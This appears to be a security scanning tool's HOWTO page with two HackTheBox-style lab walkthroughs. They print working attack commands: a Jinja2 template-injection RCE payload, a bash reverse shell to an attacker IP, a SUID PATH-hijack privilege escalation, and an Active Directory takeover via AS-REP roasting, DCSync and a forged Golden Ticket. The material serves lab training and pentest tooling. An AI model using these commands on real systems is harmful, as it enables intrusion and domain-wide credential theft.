$ ngehe scan --har $CAPTURE --config ngehe.yaml --out findings.jsonl
$ COUNT=$(ngehe view findings.jsonl --severity critical,high --urls | wc -l)
$ if [ "$COUNT" -gt 0 ]; then
    echo "ngehe found $COUNT critical/high-severity issues"
    ngehe view findings.jsonl --severity critical,high
    exit 1
  fi
Keep secrets out of CI. Capture files and tokens contain real credentials. Generate them from short-lived test creds inside the CI environment.

Worked HTB walkthroughs

Two end-to-end scenarios that show how ngehe's output maps to an actual box-pwning workflow. Both are realistic composites of common HTB patterns, not specific boxes (no spoilers).

Walkthrough 1 — Web Linux box (SSTI → user → SUID → root)

You spawn an HTB box at 10.10.11.42. Add it to /etc/hosts as box.htb.

Step 1 — full-spectrum scan

$ ngehe box --target 10.10.11.42 --domain box.htb \
    --profile quick --markdown box.md --top 800
ngehe box → 10.10.11.42 (profile=quick)
running: nmap -T4 -Pn --open -sV -oX - --top-ports 100 10.10.11.42
port-scan: 3 open services
tcp/22 ssh                     → 2 findings
tcp/80 http                    → 47 findings
tcp/53 domain                  → 1 findings
total: 50 findings

Step 2 — read the attack chain at the top of box.md

box.md
## Suggested attack chain

1. [CRITICAL] ssti — GET /api/render
   param: query:msg  payload: {{1337*1331}}
   evidence: Jinja2/Twig/Liquid evaluated 1337*1331 → 1779547

   RCE via template. Engine identified in evidence — chain to OS:
     Jinja2: {{config.__class__.__init__.__globals__['os'].popen('id').read()}}

2. [HIGH] sensitive-file — GET /.env
   evidence: 88 bytes; preview: "DATABASE_URL=postgres://app:hunter2@localhost/app
                                 SECRET_KEY=super-secret"

3. [HIGH] dns-axfr-allowed — TCP dns://10.10.11.42:53/box.htb.
   evidence: dev.box.htb. IN A 10.10.11.42 / admin.box.htb. IN A 10.10.11.42

Step 3 — confirm SSTI RCE

$ curl -G "http://box.htb/api/render" \
    --data-urlencode "msg={{config.__class__.__init__.__globals__['os'].popen('id').read()}}"

# {"rendered":"Hello uid=33(www-data) gid=33(www-data) groups=33(www-data)\n"}

Step 4 — catch a reverse shell

# Terminal 1 — listener
$ nc -lvnp 4444

# Terminal 2 — fire the reverse shell (replace IP with your tun0)
$ curl -G "http://box.htb/api/render" --data-urlencode \
    "msg={{config.__class__.__init__.__globals__['os'].popen('bash -c \"bash -i >& /dev/tcp/10.10.14.7/4444 0>&1\"').read()}}"

Upgrade the catched shell to a proper TTY:

python3 -c 'import pty; pty.spawn("/bin/bash")'
^Z
stty raw -echo; fg
export TERM=xterm

Step 5 — privesc

cat /home/*/user.txt                        # user flag
find / -perm -4000 -type f 2>/dev/null      # SUID binaries
sudo -l                                     # sudoable as www-data?

You spot /usr/local/bin/backup-tool is SUID-root. strings reveals it calls tar without an absolute path. Classic PATH hijack:

echo '#!/bin/bash
chmod +s /bin/bash' > /tmp/tar
chmod +x /tmp/tar
export PATH=/tmp:$PATH
/usr/local/bin/backup-tool        # now runs your tar as root
/bin/bash -p                       # SUID bash → root shell
cat /root/root.txt

ngehe found the initial RCE and gave you the exact payload. The shell upgrade and privesc were manual.


Walkthrough 2 — AD box (LDAP enum → AS-REP roast → BloodHound → DCSync → DA)

Box at 10.10.11.99, domain corp.htb. Add both to /etc/hosts.

Step 1 — full-spectrum scan

$ ngehe box --target 10.10.11.99 --domain corp.htb \
    --profile service --markdown box.md
tcp/53 domain                  → 1 findings
tcp/88 kerberos-sec            → 0 findings
tcp/139 netbios-ssn            → 1 findings
tcp/389 ldap                   → 3 findings
tcp/445 microsoft-ds           → 2 findings
total: 12 findings

Top of box.md:

box.md
## Suggested attack chain

1. [HIGH] ldap-asrep-roastable — TCP ldap://10.10.11.99:389/
   evidence: svc-helpdesk, kiosk, guest-printer

   GetNPUsers.py corp.htb/ -no-pass -usersfile users.txt

2. [MEDIUM] ldap-user-enum — TCP ldap://10.10.11.99:389/
   evidence: administrator, krbtgt, alice, bob, svc-helpdesk, ...

3. [HIGH] smb-anonymous-allowed — TCP smb://10.10.11.99:445/
   evidence: shares: IPC$, NETLOGON, SYSVOL, public

Step 2 — AS-REP roast

# Save the user list ngehe produced (one entry per line)
$ ngehe view box.jsonl --rule ldap-user-enum --urls > users.txt

# AS-REP roast with impacket (the playbook hint points you here)
$ GetNPUsers.py corp.htb/ -no-pass -usersfile users.txt -outputfile asrep.hashes

# Crack
$ hashcat -m 18200 asrep.hashes /usr/share/wordlists/rockyou.txt
# svc-helpdesk:Welcome1!

Step 3 — BloodHound graph

$ bloodhound-python -u svc-helpdesk -p 'Welcome1!' -d corp.htb \
    -ns 10.10.11.99 -c all

Import the JSON into BloodHound CE. Shortest paths to DA from SVC-HELPDESK@CORP.HTB:

SVC-HELPDESK → MemberOf → HELPDESK group → ForceChangePassword → SYSADMINS group → AdminTo → DC01

Step 4 — exploit the ACL

# Reset bob's password (bob is in SYSADMINS)
$ net rpc password 'bob' -U 'corp.htb/svc-helpdesk%Welcome1!' -S 10.10.11.99
# (enter a new password — Pwn3d2026!)

Step 5 — DCSync → Golden Ticket → DA

# Dump every domain hash including krbtgt
$ secretsdump.py corp.htb/bob:'Pwn3d2026!'@10.10.11.99 -just-dc

# Forge a Golden Ticket
$ ticketer.py -nthash <krbtgt-nt-hash> -domain-sid <SID> \
    -domain corp.htb administrator
$ export KRB5CCNAME=administrator.ccache

# WinRM in as Domain Admin
$ evil-winrm -i 10.10.11.99 -u administrator -H <admin-nt-hash>

# Loot
$ type C:\Users\Administrator\Desktop\root.txt

ngehe gave you the user list, the AS-REP-roastable subset, and the playbook. The cracking + graph + AD takeover used dedicated tools (hashcat, BloodHound, impacket).


What ngehe did and didn't do

ngehe did:

  • Discovered open ports + identified services (via nmap)
  • Found the SSTI bug + told you the engine + gave you the RCE payload
  • Surfaced the .env / .git / sensitive files
  • Got the DNS zone transfer
  • Enumerated AD users + flagged AS-REP-roastable accounts
  • Identified SMB anonymous access
  • Bundled all of it into a Suggested attack chain with literal commands

You did manually:

  • Crafted the reverse-shell payload (substituted your attacker IP)
  • Upgraded the shell to a TTY
  • Found the SUID privesc (next time, automate with linpeas / winpeas)
  • Ran hashcat (ngehe outputs hashcat-format; doesn't crack)
  • Used BloodHound's graph (ngehe emits the JSON; BloodHound visualizes)
  • DCSynced (out of ngehe's scope today; use impacket)

The split is intentional: ngehe automates discovery + initial-exploitation evidence. Cracking, graph analysis, AD takeover are dedicated jobs handled by hashcat, BloodHound, impacket.

End-to-end demo

The repository ships a deliberately vulnerable demo API with a planted bug for every detector:

# Terminal 1
$ cd examples/vuln-api && go run .

# Terminal 2
$ ngehe recon --target http://127.0.0.1:8787 --top 800 --markdown recon.md
$ ngehe scan \
    --har examples/vuln-api/alice.har \
    --config examples/vuln-api/ngehe.yaml \
    --markdown findings.md

You should see findings from every active detector. Read examples/vuln-api/main.go to see which bugs were planted; every HIGH/CRITICAL finding should map to one of them.

Troubleshooting

SymptomLikely cause
loaded 0 in-scope requestsscope.hosts doesn't match the host in the HAR. Hosts include the port.
Login fails at scan starttoken_jsonpath wrong or login URL unreachable.
Every BOLA finding looks like a false positiveBaseline session not detected. Supply the captured user's exact bearer in the session config, or ensure the JWT sub claim matches session.Name.
JWT abuse fires zerojwt_probe_url empty, or returns non-2xx for valid tokens, or sessions use opaque tokens instead of JWTs.
SQLi/CMDi/SSTI fire zero on known-vuln targetTarget response may not match ngehe's oracles. SQLi needs DB error strings or measurable time delays. CMDi-marker needs shell execution. CMDi-time needs sleep deltas above network jitter.
Dir-bruteforce skipped with "catch-all SPA?"Target returns 200/302 for any random path — single-page app or catch-all router. Manual review needed.

Source for this page: HOWTO.md · Back to overview.